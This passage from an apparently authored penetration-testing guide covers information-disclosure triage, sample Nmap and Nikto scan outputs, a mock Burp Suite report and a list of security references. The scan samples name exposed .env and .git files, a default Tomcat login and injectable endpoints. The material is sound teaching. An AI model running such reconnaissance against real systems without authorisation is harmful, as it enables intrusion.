- Error details logged server-side, not returned to client

### 16.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Stack trace | Full traceback with file paths, line numbers, DB connection strings | Controlled error page with request ID only |
| Version headers | Exact version numbers revealed (Apache/2.4.41) | Generic server name without version |
| Source code | Actual application code returned (with credentials) | Sample/template code or documentation |
| Debug endpoints | /actuator/env returns real config including secrets | /health returns only {"status": "UP"} |

### 16.5 Tool Output Examples

#### Nmap Version Detection
```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.41
3306/tcp open  mysql   MySQL 8.0.28-0ubuntu0.20.04.3
| mysql-info:
|   Protocol: 10
|   Version: 8.0.28-0ubuntu0.20.04.3
|   Thread ID: 15
|_  Salt: \x1a\x2b\x3c...
8080/tcp open  http    Apache Tomcat 9.0.56
|_http-title: Apache Tomcat/9.0.56
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### Nikto Information Disclosure Findings
```
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          93.184.216.34
+ Target Hostname:    target.example.com
+ Target Port:        80
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/7.4.3.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /.env: .env file found. This file may contain database credentials, API keys, and other sensitive configuration.
+ /.git/HEAD: Git repository found. An attacker can download the full source code.
+ /server-status: Apache mod_status is accessible. This shows server performance information and current connections.
+ OSVDB-3092: /backup/: This might be interesting: possible backup directory with directory listing enabled.
+ /robots.txt: Entry '/admin/' in robots.txt returned a non-403 HTTP status. Site could be exposing sensitive endpoints.
+ 8945 requests: 0 error(s) and 9 item(s) reported on remote host
---------------------------------------------------------------------------
```

---

## Appendix A: Combined Nmap Scan Output Example

```
Starting Nmap 7.94 ( https://nmap.org ) at 2026-04-09 14:30 CDT
Nmap scan report for target.example.com (93.184.216.34)
Host is up (0.034s latency).
Not shown: 993 closed tcp ports (conn-refused)

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
| ssh-hostkey:
|   3072 d4:3e:4f:5a:6b:7c:8d:9e:0f:1a:2b:3c:4d:5e:6f:7a (RSA)
|   256 a1:b2:c3:d4:e5:f6:a7:b8:c9:d0:e1:f2:a3:b4:c5:d6 (ECDSA)
|_  256 1a:2b:3c:4d:5e:6f:7a:8b:9c:0d:1e:2f:3a:4b:5c:6d (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Example Web Application
| http-methods:
|   Supported Methods: GET HEAD POST OPTIONS
|_  Potentially risky methods: TRACE
| http-enum:
|   /admin/: Admin panel
|   /backup/: Backup directory with listing
|   /phpinfo.php: phpinfo() page
|   /.git/HEAD: Git repository
|   /robots.txt: Robots file
|_  /server-status: Apache server-status (mod_status)
| http-vuln-cve2017-5638:
|   VULNERABLE:
|   Apache Struts Remote Code Execution
|     State: VULNERABLE
|     Risk factor: High
|_    References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
443/tcp  open  ssl/http    Apache httpd 2.4.41
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|     warnings:
|       Broken cipher RC4 is deprecated by RFC 7465
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|     cipher preference: server
|_  least strength: C
| ssl-cert:
|   Subject: commonName=target.example.com
|   Issuer: commonName=R3/organizationName=Let's Encrypt
|   Public Key type: rsa
|   Public Key bits: 2048
|   Not valid before: 2026-03-10T00:00:00
|   Not valid after:  2026-06-08T23:59:59
|_  SHA-1: abcd:ef01:2345:6789:abcd:ef01:2345:6789:abcd:ef01
3306/tcp open  mysql       MySQL 8.0.28
| mysql-info:
|   Protocol: 10
|   Version: 8.0.28-0ubuntu0.20.04.3
|_  Status: Autocommit
8080/tcp open  http-proxy  Apache Tomcat 9.0.56
| http-default-accounts:
|   [Apache Tomcat] at /manager/html/
|_    tomcat:s3cret
8443/tcp open  ssl/http    nginx 1.18.0
9090/tcp open  http        Prometheus

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 45.67 seconds
```

---

## Appendix B: Combined Nikto Scan Output Example

```
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          93.184.216.34
+ Target Hostname:    target.example.com
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=target.example.com
                   Altnames: target.example.com, www.target.example.com
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /C=US/O=Let's Encrypt/CN=R3
+ Start Time:         2026-04-09 14:30:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/7.4.3.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Cookie PHPSESSID created without the secure flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Uncommon header 'x-debug-token' found, with contents: abc123.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.58). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/7.4.3 appears to be outdated (current is at least PHP/8.3).
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-default-files/
+ /.env: .env file found. This file may contain sensitive configuration data such as database credentials and API keys.
+ /.git/HEAD: Git repository found. This may allow the attacker to download the full source code of the application.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /server-status: Apache mod_status is accessible without authentication.
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting.
+ /admin/: Admin login page/section found.
+ /robots.txt: 3 entries checked: '/admin/', '/backup/', '/config/' all returned accessible.
+ /wp-config.php.bak: WordPress configuration backup found. May contain database credentials.
+ /crossdomain.xml: Adobe Flash crossdomain.xml file found with wildcard access policy.
+ /test.php: Test script found which may contain sensitive information or functionality.
+ 8945 requests: 0 error(s) and 24 item(s) reported on remote host
+ End Time:           2026-04-09 14:35:12 (GMT-5) (312 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

---

## Appendix C: Burp Suite HTML Report Structure

```
BURP SUITE PROFESSIONAL - SCAN REPORT
Generated: 2026-04-09 14:45:00 CDT
Target: https://target.example.com

=======================================
SUMMARY
=======================================
High:     3 issues
Medium:   5 issues
Low:      8 issues
Info:     12 issues

=======================================
HIGH SEVERITY ISSUES
=======================================

1. SQL injection (3 instances)
   - /api/products?id=1 [id parameter]
   - /api/users?search=test [search parameter]
   - /login [username parameter]
   Confidence: Certain
   Severity: High

2. Cross-site scripting (reflected) (2 instances)
   - /search?q=test [q parameter]
   - /error?message=test [message parameter]
   Confidence: Certain
   Severity: High

3. XML external entity injection (1 instance)
   - /api/import [POST body]
   Confidence: Certain
   Severity: High

=======================================
MEDIUM SEVERITY ISSUES
=======================================

4. Cross-site request forgery (2 instances)
   - /account/change-email [POST]
   - /account/change-password [POST]
   Confidence: Tentative
   Severity: Medium

5. Open redirection (1 instance)
   - /redirect?url=test [url parameter]
   Confidence: Firm
   Severity: Medium

6. TLS certificate (1 instance)
   - Server supports TLS 1.0 (deprecated)
   Confidence: Certain
   Severity: Medium

=======================================
LOW SEVERITY ISSUES
=======================================

7. Cookie without HttpOnly flag (3 instances)
8. Cookie without Secure flag (3 instances)
9. Strict-Transport-Security header missing (1 instance)
10. Content-Security-Policy header missing (1 instance)

=======================================
INFORMATIONAL
=======================================

11. Server version disclosure: Apache/2.4.41 (Ubuntu)
12. Technology detected: PHP/7.4.3
13. Directory listing: /icons/, /backup/
14. robots.txt found with interesting entries
15. Email addresses found in response
```

---

## Sources

- [OWASP Web Security Testing Guide - SQL Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)
- [OWASP Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
- [PortSwigger SQL Injection UNION Attacks](https://portswigger.net/web-security/sql-injection/union-attacks)
- [PortSwigger SSRF](https://portswigger.net/web-security/ssrf)
- [PortSwigger SSTI](https://portswigger.net/web-security/server-side-template-injection)
- [PortSwigger XXE](https://portswigger.net/web-security/xxe)
- [PortSwigger CSRF](https://portswigger.net/web-security/csrf)
- [PortSwigger File Upload](https://portswigger.net/web-security/file-upload)
- [PortSwigger Open Redirect](https://portswigger.net/support/using-burp-to-test-for-open-redirections)
- [PortSwigger Information Disclosure](https://portswigger.net/web-security/information-disclosure)
- [PortSwigger OS Command Injection](https://portswigger.net/web-security/os-command-injection)
- [PayloadsAllTheThings - XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
- [PayloadsAllTheThings - SSRF](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
- [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md)
- [PayloadsAllTheThings - XXE](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md)
- [PayloadsAllTheThings - Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md)
- [PayloadsAllTheThings - File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md)
- [PayloadsAllTheThings - File Upload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md)
- [PayloadsAllTheThings - Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/README.md)
- [PayloadsAllTheThings - CORS Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CORS%20Misconfiguration/README.md)
- [HackTricks - Rate Limit Bypass](https://hacktricks.wiki/en/pentesting-web/rate-limit-bypass.html)
- [HackTricks - Command Injection](https://book.hacktricks.xyz/pentesting-web/command-injection)
- [HackTricks - CSRF](https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery)
- [HackTricks - CORS Bypass](https://book.hacktricks.xyz/pentesting-web/cors-bypass)
- [HackTricks - File Upload](https://book.hacktricks.xyz/pentesting-web/file-upload)
- [HackTricks - IDOR](https://hacktricks.wiki/en/pentesting-web/idor.html)
- [HackTricks - Login Bypass](https://github.com/HackTricks-wiki/hacktricks/blob/master/src/pentesting-web/login-bypass/README.md)
- [OWASP Testing for Bypassing Authentication Schema](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema)
- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
- [OWASP XXE Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
- [OWASP Testing for Weak TLS/SSL](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection)
- [OWASP SSTI Testing](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection)
- [OWASP IDOR Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)
- [Nmap ssl-enum-ciphers](https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html)
- [Nmap NSE Scripts](https://nmap.org/book/nse-usage.html)
- [sqlmap Official](https://sqlmap.org/)
- [sqlmap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
- [testssl.sh](https://testssl.sh/)
- [Invicti SQL Injection Cheat Sheet](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet)
- [Cobalt Authentication Bypass](https://www.cobalt.io/vulnerability-wiki/v2-authentication/authentication-bypass)
- [HackerOne Disclosed Reports](https://github.com/reddelexc/hackerone-reports)
- [Burp Suite Reporting](https://portswigger.net/burp/documentation/desktop/running-scans/reporting)